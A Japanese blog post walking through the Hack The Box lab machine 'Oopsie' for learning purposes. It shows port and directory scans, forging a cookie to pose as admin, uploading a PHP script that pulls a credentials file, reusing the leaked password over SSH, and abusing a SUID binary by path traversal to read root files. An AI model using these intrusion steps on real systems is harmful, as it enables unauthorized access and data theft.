見出し画像

#07 Hack The Box

第7週。

先週に引き続き、サイバー攻撃に関連したチャレンジです。

昨今、企業を狙ったランサムウェアの話題や情報漏洩のニュースなどたびたび耳にします。攻撃によってインフラがダウンしたような大規模な例もありますが、小さな情報流出は数え切れないほどあるのではないでしょうか?国民皆スマホ時代の今日、人ごとでは済みません。個々が情報セキュリティに関する意識を高めなければいけません。

競技型のペネトレーションテストではCTFが有名ですが、よりゲーム性を高めた学習サービスにHack The Boxがあります。仮想的に脆弱性のあるサーバーを用意してくれて、課題をクリアしながら攻撃の手法を学ぶことができます。今回は、ここで遊びます。

目的

Hack The BoxのStarting pointをコンプリート。攻撃の基本を身に着ける。

無料でできるものがけっこうあるので、レベル「Very Easy」を全部クリアします。Easyと言ってますが、むずかしいです。

Tier2 「Oopsie」の解説を成果物とします。


環境

Kali Linuxがありましたが、Macでやりました。

解説

まずopenvpnでサーバーに接続します。つながったら、とりあえずポートスキャン。

nmap -sV -sC <host>

------
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-08 22:45 WIT
Nmap scan report for <host>
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
|   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 830.97 seconds

22(ssh)と80(http)が空いてます。ブラウザでアクセスしてみると、自動車メーカーのウェブサイトになっていました。

Task1 : With what kind of tool can intercept web traffic?

A. Proxy

Task2 : What is the path to the directory on the webserver that returns a login page?

gobusterでウェブ探索してみます。

いろい//gobusterのインストール
brew install gobuster

//dirbのインストール
mkdir Sec
cd Sec
git clone https://github.com/v0re/dirb.git
cd ~/
gobuster dir -u http://<host>/ -w Sec/dirb/wordlists/common.txt
------
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/css                  (Status: 301) [Size: 312] [--> http://<host>/css/]
/fonts                (Status: 301) [Size: 314] [--> http://<host>/fonts/]
/images               (Status: 301) [Size: 315] [--> http://<host>/images/]
/index.php            (Status: 200) [Size: 10932]      
/js                   (Status: 301) [Size: 311] [--> http://<host>/js/]  
/server-status        (Status: 403) [Size: 278] 
/themes               (Status: 301) [Size: 315] [--> http://<host>/themes/]
/uploads              (Status: 301) [Size: 316] [--> http://<host>/uploads/]

いろいろアクセスしてみますが、すべて403でした。BurpSuiteで通信を見てみます。

GET /cdn-cgi/login/script.js HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: */*
Referer: http://<host>/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

これっぽい。

A. /cdn-cgi/login

Task3 : What can be modified in Firefox to get access to the upload page?

A. cookie 

Task4 : What is the access ID of the admin user?

ログインページから「ゲストとしてログイン」すると、会員情報が見れます。idをクエリで指定しているので、番号を適当に変えます。

Access ID	Name	Email
34322	admin	admin@megacorp.com (id=1)
8832	john	john@tafcz.co.uk (id=4)
57633	Peter	peter@qpic.co.uk (id=13)
28832	Rafol	tom@rafol.co.uk (id=23)
86575	super admin	superadmin@megacorp.com (id=30)

以上の複数の会員を発見しました。

A. 34322

Task5 : On uploading a file, what directory does that file appear in on the server?

cookieを編集して、adminに偽装します。

role admin
user 34322

するとファイルのアップロードページにアクセスできます。適当にphpファイルを作ってアップロードしてみます。

//info.php
<?php
phpinfo();
die;

/uploads/info.phpにアクセスすると、おなじみのphpinfoページが表示されました。

A. /uploads

Task6 : What is the file that contains the password that is shared with the robert user?
ファイルアップロードを利用して、gobusterで見つけたdb.phpを奪います。

//dl.php
<?php
$filename = '../cdn-cgi/login/db.php';
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($filename));
header('Content-Disposition: attachment; filename=db.php');
readfile($filename);
exit;

ビンゴ!大事な情報が入ってました。

//db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

A. db.php

Task7 : What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?

db.phpの情報で、ssh接続ができるようになりました。

ssh robert@<host>
Password : M3g4C0rpUs3r!

ファイルを探すコマンドといえば、findです。

find / -group bugtracker

------
/usr/bin/bugtracker

A. find

Task8 : Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?

cd /usr/bin
ls -la
------
-rwsr-xr--  1 root   bugtracker     8792 Jan 25  2020  bugtracker

rootにSUIDフラグがついてます。

A. root

Task9 : What SUID stands for?

ぐぐります。

A. Set owner User ID

Task10 : What is the name of the executable being called in an insecure manner?

cd /usr/bin
./bugtracker
------
[Provide Bug ID] a
cat: /root/reports/a: No such file or directory

内部でcatが呼ばれているようです。

A. cat

Submit user flag

robertユーザーのホームにありました。

cat /home/robert/user.txt

------
f2c74ee8db7983851ab2a96a44eb7981

A. HTB{f2c74ee8db7983851ab2a96a44eb7981}

Submit root flag

bugtrackerの脆弱性をついて、root権限でファイルの確認ができます。

cd /usr/bin 
./bugtracker
------
[Provide Bug ID] ../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
robert:x:1000:1000:robert:/home/robert:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

これを使っていろいろやってみましたが、なかなかroot権限は奪えず....

けっきょく勘で、/root/root.txtにあったフラグを引き当てました。

A. HTB{af13b0bee69f8a877c3faf667f7beacf}

公式の解答を確認したところ、catという名前で実行ファイルを作り、bugtrackerに実行させて権限昇格するのが正攻法のようでした。


まとめ

初歩的な内容らしいですが、非常にやりごたえがありました。さらにこの先があると考えると楽しみでありません。また、他のサービスやCTFなどにもチャレンジしてみたいです!


EOF

この記事が気に入ったらサポートをしてみませんか?